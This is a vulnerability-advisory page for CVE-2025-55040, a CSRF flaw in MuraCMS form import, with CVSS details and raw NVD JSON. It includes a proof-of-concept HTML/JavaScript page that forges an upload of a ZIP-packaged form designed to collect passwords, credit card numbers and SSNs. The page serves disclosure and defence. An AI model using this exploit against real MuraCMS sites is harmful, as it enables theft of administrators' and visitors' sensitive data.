Security Vulnerability Report
中文
CVE-2025-55040 CVSS 8.8 HIGH

CVE-2025-55040

Published: 2026-03-18 16:16:23
Last Modified: 2026-03-20 18:12:51

Description

The import form CSRF vulnerability in MuraCMS through 10.1.10 allows attackers to upload and install malicious form definitions through a CSRF attack. The vulnerable cForm.importform function lacks CSRF token validation, enabling malicious websites to forge file upload requests that install attacker-controlled forms when an authenticated administrator visits a crafted webpage. Full exploitation of this vulnerability would require the victim to select a malicious ZIP file containing form definitions, which can be automatically generated by the exploit page and used to create data collection forms that steal sensitive information. Successful exploitation of the import form CSRF vulnerability could result in the installation of malicious data collection forms on the target MuraCMS website that can steal sensitive user information. When an authenticated administrator visits a malicious webpage containing the CSRF exploit and selects the attacker-generated ZIP file, their browser uploads and installs form definitions that create legitimate forms that could be designed with malicious content.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:murasoftware:mura_cms:-:*:*:*:*:*:*:* - VULNERABLE
MuraCMS <= 10.1.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-55040 CSRF Exploit for MuraCMS Form Import --> <!-- This PoC demonstrates the CSRF vulnerability in MuraCMS import form --> <!DOCTYPE html> <html> <head> <title>Form Import CSRF PoC</title> </head> <body> <h1>MuraCMS Import Form CSRF Exploit - CVE-2025-55040</h1> <p>Click the button below to trigger the form import on target MuraCMS site.</p> <form id="csrfForm" action="http://target-site.com/index.cfm/fuseaction/cForm.importform" method="POST" enctype="multipart/form-data" style="display:none;"> <!-- Malicious form definition ZIP file --> <input type="file" name="importfile" id="importfile" accept=".zip"> <input type="hidden" name="siteid" value="default"> </form> <button onclick="generateAndSubmit()">Import Malicious Form</button> <script> // Generate malicious form definition ZIP async function generateAndSubmit() { // Create malicious form XML definition const formXml = `<?xml version="1.0"?> <formDefinition> <name>Malicious Data Collection Form</name> <fields> <field name="username" type="text" required="true"/> <field name="password" type="password" required="true"/> <field name="creditcard" type="text"/> <field name="ssn" type="text"/> </fields> <submitAction>store</submitAction> <redirectUrl>/index.cfm/contact/thankyou</redirectUrl> </formDefinition>`; // Create ZIP file with malicious form const zip = new JSZip(); zip.file("form-definition.xml", formXml); const content = await zip.generateAsync({type: "blob"}); // Create File object and set to form input const file = new File([content], "malicious-form.zip", { type: "application/zip" }); const input = document.getElementById("importfile"); const dt = new DataTransfer(); dt.items.add(file); input.files = dt.files; // Auto-submit the form document.getElementById("csrfForm").submit(); } </script> <!-- Include JSZip library for ZIP generation --> <script src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js"></script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55040", "sourceIdentifier": "[email protected]", "published": "2026-03-18T16:16:23.170", "lastModified": "2026-03-20T18:12:50.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The import form CSRF vulnerability in MuraCMS through 10.1.10 allows attackers to upload and install malicious form definitions through a CSRF attack. The vulnerable cForm.importform function lacks CSRF token validation, enabling malicious websites to forge file upload requests that install attacker-controlled forms when an authenticated administrator visits a crafted webpage. Full exploitation of this vulnerability would require the victim to select a malicious ZIP file containing form definitions, which can be automatically generated by the exploit page and used to create data collection forms that steal sensitive information. Successful exploitation of the import form CSRF vulnerability could result in the installation of malicious data collection forms on the target MuraCMS website that can steal sensitive user information. When an authenticated administrator visits a malicious webpage containing the CSRF exploit and selects the attacker-generated ZIP file, their browser uploads and installs form definitions that create legitimate forms that could be designed with malicious content."}, {"lang": "es", "value": "La vulnerabilidad CSRF en el formulario de importación en MuraCMS hasta la versión 10.1.10 permite a los atacantes cargar e instalar definiciones de formularios maliciosas a través de un ataque CSRF. La función vulnerable cForm.importform carece de validación de token CSRF, lo que permite a sitios web maliciosos falsificar solicitudes de carga de archivos que instalan formularios controlados por el atacante cuando un administrador autenticado visita una página web manipulada. La explotación completa de esta vulnerabilidad requeriría que la víctima seleccione un archivo ZIP malicioso que contenga definiciones de formularios, el cual puede ser generado automáticamente por la página del exploit y utilizado para crear formularios de recopilación de datos que roban información sensible. La explotación exitosa de la vulnerabilidad CSRF en el formulario de importación podría resultar en la instalación de formularios de recopilación de datos maliciosos en el sitio web MuraCMS objetivo que pueden robar información sensible del usuario. Cuando un administrador autenticado visita una página web maliciosa que contiene el exploit CSRF y selecciona el archivo ZIP generado por el atacante, su navegador carga e instala definiciones de formularios que crean formularios legítimos que podrían ser diseñados con contenido malicioso."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:murasoftware:mura_cms:-:*:*:*:*:*:*:*", "matchCriteriaId": "CB4646EE-1255-4B42-890A-E0B57EBFE2CE"}]}]}], "references": [{"url": "https://docs.murasoftware.com/v10/release-notes/#section-version-1014", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.murasoftware.com", "source": "[email protected]", "tags": ["Product"]}]}}